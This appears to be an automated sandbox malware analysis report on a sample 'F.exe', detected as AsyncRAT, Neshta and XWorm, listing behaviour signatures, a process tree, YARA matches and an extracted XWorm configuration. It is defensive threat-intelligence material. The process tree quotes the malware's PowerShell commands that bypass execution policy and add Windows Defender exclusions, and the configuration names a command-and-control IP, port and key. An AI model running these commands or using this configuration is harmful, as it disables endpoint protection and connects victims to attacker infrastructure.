Edit tour

Windows Analysis Report
F.exe

Overview

General Information

Sample name:	F.exe
Analysis ID:	1465838
MD5:	e501c275814bfcb58fe845c38227d5c5
SHA1:	e2dd36fd738326611cc8d80462451beb842b2d93
SHA256:	d5bb65b35daf83870a25646b84be125f497c655138b58f4ae4cbd249f2997aa0
Infos:

Detection

AsyncRAT, Neshta, XWorm

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected AntiVM3

Yara detected AsyncRAT

Yara detected Neshta

Yara detected XWorm

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Check if machine is in data center or colocation facility

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to log keystrokes (.Net Source)

Creates an undocumented autostart registry key

Drops PE files to the document folder of the user

Drops PE files with a suspicious file extension

Drops executable to a common third party application directory

Drops executables to the windows directory (C:\Windows) and starts them

Drops or copies MsMpEng.exe (Windows Defender, likely to bypass HIPS)

Infects executable files (exe, dll, sys, html)

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Protects its processes via BreakOnTermination flag

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample is not signed and drops a device driver

Sample uses string decryption to hide its real strings

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses dynamic DNS services

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates driver files

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May infect USB drives

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains executable resources (Code or Archives)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the installation date of Windows

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Classes Autorun Keys Modification

Sigma detected: Excel Network Connections

Sigma detected: Powershell Defender Exclusion

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Office Outbound Connections

Sigma detected: Use NTFS Short Name in Command Line

Sigma detected: Use Short Name Path in Command Line

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

F.exe (PID: 1560 cmdline: "C:\Users\user\Desktop\F.exe" MD5: E501C275814BFCB58FE845C38227D5C5)

F.exe (PID: 2668 cmdline: "C:\Users\user\AppData\Local\Temp\3582-490\F.exe" MD5: 0298A5DF4BD22B716B51E1EEC63FDDAB)

._cache_F.exe (PID: 2616 cmdline: "C:\Users\user\Desktop\._cache_F.exe" MD5: 76FCF5160F19A49DA44978548CF3FA1E)

svchost.com (PID: 7316 cmdline: "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\._cache_F.exe' MD5: 0A69C2EB3BF7FDC922D6CEE63B45FF71)

powershell.exe (PID: 7332 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\._cache_F.exe' MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7340 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.com (PID: 8508 cmdline: "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '._cache_F.exe' MD5: 0A69C2EB3BF7FDC922D6CEE63B45FF71)

powershell.exe (PID: 8524 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '._cache_F.exe' MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 8532 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.com (PID: 8588 cmdline: "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\XClient.exe' MD5: 0A69C2EB3BF7FDC922D6CEE63B45FF71)

powershell.exe (PID: 8612 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\XClient.exe' MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 8624 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.com (PID: 8804 cmdline: "C:\Windows\svchost.com" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe' MD5: 0A69C2EB3BF7FDC922D6CEE63B45FF71)

powershell.exe (PID: 8820 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe' MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 8832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Synaptics.exe (PID: 3868 cmdline: "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate MD5: DC6FD1F95DC9ACB499A6B2870C3051BA)

WerFault.exe (PID: 8252 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3868 -s 3276 MD5: C31336C1EFC2CCB44B4326EA793040F2)

EXCEL.EXE (PID: 1276 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding MD5: 4A871771235598812032C822E6F68F19)

svchost.com (PID: 7892 cmdline: "C:\Windows\svchost.com" "C:\PROGRA~3\SYNAPT~1\SYNAPT~1.EXE" MD5: 0A69C2EB3BF7FDC922D6CEE63B45FF71)

Synaptics.exe (PID: 7920 cmdline: C:\PROGRA~3\SYNAPT~1\SYNAPT~1.EXE MD5: DC6FD1F95DC9ACB499A6B2870C3051BA)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
AsyncRAT	AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victims computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/asyncrat-onenote-dropper https://aidenmitchell.ca/asyncrat-via-vbs/ https://assets.virustotal.com/reports/2021trends.pdf https://axmahr.github.io/posts/asyncrat-detection/ https://blog.checkpoint.com/research/november-2023s-most-wanted-malware-new-asyncrat-campaign-discovered-while-fakeupdates-re-entered-the-top-ten-after-brief-hiatus/	https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat

Name	Description	Attribution	Blogpost URLs	Link
neshta	Neshta is a 2005 Belarusian file infector virus written in Delphi. The name of the virus comes from the Belarusian word "nesta" meaning "something."	No Attribution	https://threatvector.cylance.com/en_us/home/threat-spotlight-neshta-file-infector-endures.html https://www.mandiant.com/resources/pe-file-infecting-malware-ot https://www.virusbulletin.com/virusbulletin/2014/08/bird-s-nest https://www.virusradar.com/en/Win32_Neshta.A/description	https://malpedia.caad.fkie.fraunhofer.de/details/win.neshta

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Malware Configuration

Threatname: Xworm

{"C2 url": ["45.141.26.232"], "Port": "6666", "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.4"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
F.exe	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
F.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
F.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
F.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xb95c0:$s6: VirtualBox 0xb951e:$s8: Win32_ComputerSystem 0xb9f6e:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xba00b:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xba120:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xb9c1c:$cnc4: POST / HTTP/1.1

Dropped Files

Source	Rule	Description	Author	Strings
C:\ProgramData\XClient.exe	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
C:\ProgramData\XClient.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\ProgramData\XClient.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\ProgramData\XClient.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x8188:$s6: VirtualBox 0x80e6:$s8: Win32_ComputerSystem 0x8b36:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x8bd3:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x8ce8:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x87e4:$cnc4: POST / HTTP/1.1
C:\ProgramData\Synaptics\Synaptics.exe	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
C:\ProgramData\Synaptics\Synaptics.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\ProgramData\Synaptics\Synaptics.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\ProgramData\Synaptics\Synaptics.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xb95c0:$s6: VirtualBox 0xb951e:$s8: Win32_ComputerSystem 0xb9f6e:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xba00b:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xba120:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xb9c1c:$cnc4: POST / HTTP/1.1
C:\ProgramData\Synaptics\RCXAC4B.tmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\Documents\BJZFPPWAPT\~$cache1	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\Desktop\._cache_F.exe	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
C:\Users\user\Desktop\._cache_F.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\user\Desktop\._cache_F.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\Desktop\._cache_F.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x8188:$s6: VirtualBox 0x80e6:$s8: Win32_ComputerSystem 0x8b36:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x8bd3:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x8ce8:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x87e4:$cnc4: POST / HTTP/1.1
C:\Users\user\AppData\Local\Temp\cyXtjfIL.exe	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
C:\Users\user\AppData\Local\Temp\cyXtjfIL.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\AppData\Local\Temp\cyXtjfIL.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\user\AppData\Local\Temp\cyXtjfIL.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x16a9f8:$s6: VirtualBox 0x16a956:$s8: Win32_ComputerSystem 0x16b3a6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x16b443:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x16b558:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x16b054:$cnc4: POST / HTTP/1.1
C:\Users\user\AppData\Local\Temp\3582-490\F.exe	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
C:\Users\user\AppData\Local\Temp\3582-490\F.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\AppData\Local\Temp\3582-490\F.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\user\AppData\Local\Temp\3582-490\F.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xb95c0:$s6: VirtualBox 0xb951e:$s8: Win32_ComputerSystem 0xb9f6e:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xba00b:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xba120:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xb9c1c:$cnc4: POST / HTTP/1.1
C:\Users\user\AppData\Local\Temp\RCXAE3F.tmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
C:\Users\user\AppData\Local\Temp\RCXAE3F.tmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\AppData\Local\Temp\RCXAE3F.tmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\user\AppData\Local\Temp\RCXAE3F.tmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x16a9f8:$s6: VirtualBox 0x16a956:$s8: Win32_ComputerSystem 0x16b3a6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x16b443:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x16b558:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x16b054:$cnc4: POST / HTTP/1.1
Click to see the 21 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000003.2068336947.00000000021FF000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000003.00000002.3299291942.0000000002AB1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000002.2697226300.0000000000409000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
00000002.00000000.2048183618.0000000000401000.00000020.00000001.01000000.00000005.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000003.00000002.3303772990.0000000012AC1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000003.00000002.3303772990.0000000012AC1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000003.00000002.3303772990.0000000012AC1000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x8c00:$s6: VirtualBox 0x8b5e:$s8: Win32_ComputerSystem 0x95ae:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x964b:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x9760:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x925c:$cnc4: POST / HTTP/1.1
00000000.00000003.2045892912.00000000021B4000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000000.00000003.2045892912.00000000021B4000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000003.2045892912.00000000021B4000.00000004.00001000.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xab68c:$s6: VirtualBox 0xab5ea:$s8: Win32_ComputerSystem 0xac03a:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xac0d7:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xac1ec:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xabce8:$cnc4: POST / HTTP/1.1
00000004.00000003.2067928599.000000000299E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000004.00000003.2067928599.000000000299E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000004.00000003.2067928599.000000000299E000.00000004.00000020.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xb95e0:$s6: VirtualBox 0xb953e:$s8: Win32_ComputerSystem 0xb9f8e:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xba02b:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xba140:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xb9c3c:$cnc4: POST / HTTP/1.1
00000002.00000003.2060756017.000000000089B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000002.00000003.2060756017.000000000089B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000002.00000003.2060756017.000000000089B000.00000004.00000020.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x391f8:$s6: VirtualBox 0x39156:$s8: Win32_ComputerSystem 0x39ba6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x39c43:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x39d58:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x39854:$cnc4: POST / HTTP/1.1
00000003.00000000.2060247485.00000000006A2000.00000002.00000001.01000000.00000006.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000003.00000000.2060247485.00000000006A2000.00000002.00000001.01000000.00000006.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000003.00000000.2060247485.00000000006A2000.00000002.00000001.01000000.00000006.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x7f88:$s6: VirtualBox 0x7ee6:$s8: Win32_ComputerSystem 0x8936:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x89d3:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x8ae8:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x85e4:$cnc4: POST / HTTP/1.1
00000002.00000000.2048511281.00000000004A5000.00000002.00000001.01000000.00000005.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000002.00000000.2048511281.00000000004A5000.00000002.00000001.01000000.00000005.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000002.00000000.2048511281.00000000004A5000.00000002.00000001.01000000.00000005.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x19dc0:$s6: VirtualBox 0x19d1e:$s8: Win32_ComputerSystem 0x1a76e:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x1a80b:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x1a920:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x1a41c:$cnc4: POST / HTTP/1.1
00000004.00000003.2067928599.0000000002A69000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000004.00000003.2068336947.00000000021D3000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000004.00000003.2068336947.00000000021D3000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000004.00000003.2068336947.00000000021D3000.00000004.00001000.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x1a5c0:$s6: VirtualBox 0x1a51e:$s8: Win32_ComputerSystem 0x1af6e:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x1b00b:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x1b120:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x1ac1c:$cnc4: POST / HTTP/1.1
Process Memory Space: F.exe PID: 1560	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: F.exe PID: 1560	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
Process Memory Space: F.exe PID: 1560	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: F.exe PID: 1560	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: F.exe PID: 2668	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: F.exe PID: 2668	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: ._cache_F.exe PID: 2616	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: Synaptics.exe PID: 3868	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: Synaptics.exe PID: 3868	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Click to see the 30 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.3.F.exe.8cc070.0.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
2.3.F.exe.8cc070.0.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
2.3.F.exe.8cc070.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
2.3.F.exe.8cc070.0.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x8188:$s6: VirtualBox 0x80e6:$s8: Win32_ComputerSystem 0x8b36:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x8bd3:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x8ce8:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x87e4:$cnc4: POST / HTTP/1.1
2.3.F.exe.8cc070.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
2.3.F.exe.8cc070.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
2.3.F.exe.8cc070.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6388:$s6: VirtualBox 0x62e6:$s8: Win32_ComputerSystem 0x6d36:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x6dd3:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x6ee8:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x69e4:$cnc4: POST / HTTP/1.1
3.0.._cache_F.exe.6a0000.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
3.0.._cache_F.exe.6a0000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
3.0.._cache_F.exe.6a0000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
